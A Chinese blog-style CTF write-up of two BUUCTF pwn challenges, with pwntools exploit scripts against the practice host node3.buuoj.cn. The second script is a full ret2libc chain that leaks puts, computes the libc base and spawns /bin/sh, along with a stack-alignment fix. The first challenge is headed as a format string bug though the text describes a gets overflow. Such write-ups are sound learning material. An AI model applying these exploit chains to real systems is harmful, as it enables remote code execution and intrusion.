buuctf pwn part1

时隔已久的学习

ciscn_2019_n_1

格式化字符串漏洞


程序逻辑

gets是漏洞点,可以利用v1去覆盖v2的值然后获取flag


程序逻辑

然后这里可以看出11.28125在4007f4的位置,跟过去看一下
实际地址

地址是0x41348000

from pwn import *
 
#context.log_level = "debug"
sh=remote('node3.buuoj.cn',27003)

p1='1'*0x2c+p64(0x41348000)
sh.sendline(p1)
sh.interactive()

ciscn_2019_c_1

就是一个常规题
话说我没练过64位的libc的题(弟弟
网上找东西学了一下
写法和32位不一样,用寄存器传参,需要传递的参数放在 pop rdi 的下面,执行 pop rdi 时,就将栈顶的值赋值给rdi

from pwn import *
#context.log_level="debug"

#sh=process('./ciscn_2019_c_1')
libc=ELF('libc-2.27.so')
sh=remote('node3.buuoj.cn',26817)
elf=ELF('./ciscn_2019_c_1')


#libc_read=libc.symbols['read']
libc_puts=libc.symbols['puts']
libc_system=libc.symbols['system']
libc_binsh=next(libc.search('/bin/sh'))

puts_ply=elf.plt['puts']
puts_got=elf.got['puts']
main_add=elf.symbols['main']

pop1_rid=0x0000000000400c83

p1='A'*0x58
p1+=p64(pop1_rid)+p64(puts_got)+p64(puts_ply)+p64(main_add)
sh.recvuntil('Input your choice!\n')
sh.sendline('1')
sh.recvuntil('Input your Plaintext to be encrypted\n')
sh.sendline(p1)

# # print sh.recvline()
sh.recvuntil('@\n')
puts_real_add=u64(sh.recv(6).ljust(8,'\x00'))
print hex(puts_real_add)
# #pwnlib.gdb.attach(sh)

libcbase=puts_real_add-libc_puts
# print hex(libcbase)
system_real_add=libcbase+libc_system
binsh_real_add=libcbase+libc_binsh

p2='A'*0x58
p2+=p64(pop1_rid)+p64(binsh_real_add)+p64(system_real_add)
sh.recvuntil('Input your choice!\n')
sh.sendline('1')
sh.recvuntil('Input your Plaintext to be encrypted\n')
sh.sendline(p2)

sh.interactive()

本地完全没问题
但是远程


报错

打不过去,贼气,我觉得是远端的问题,找了几个大佬的exp,也打不过去。
唯一学到的新姿势是这个

sh.recvuntil('@\n')
puts_real_add=u64(sh.recv(6).ljust(8,'\x00'))

以前是用print然后根据后三位去找它的位置,特别麻烦
我果然是弟弟

找到问题所在了!!!!!p2应该写成

p2='A'*0x58
p2+=p64(0x00000000004006b9)+p64(pop1_rid)+p64(binsh_real_add)+p64(system_real_add)

出现这个问题的原因是
Ubuntu18调用system的时候要对齐栈,需要附加一个ret来保证堆栈平衡,这样程序才会顺利地运行,否则则会直接crash

当然也可以不用ret来解决,用迁移栈或者改变payload长度的方式也能达到同样的效果

耶耶耶耶耶解决了是今日份快乐

你可能感兴趣的:(buuctf pwn part1)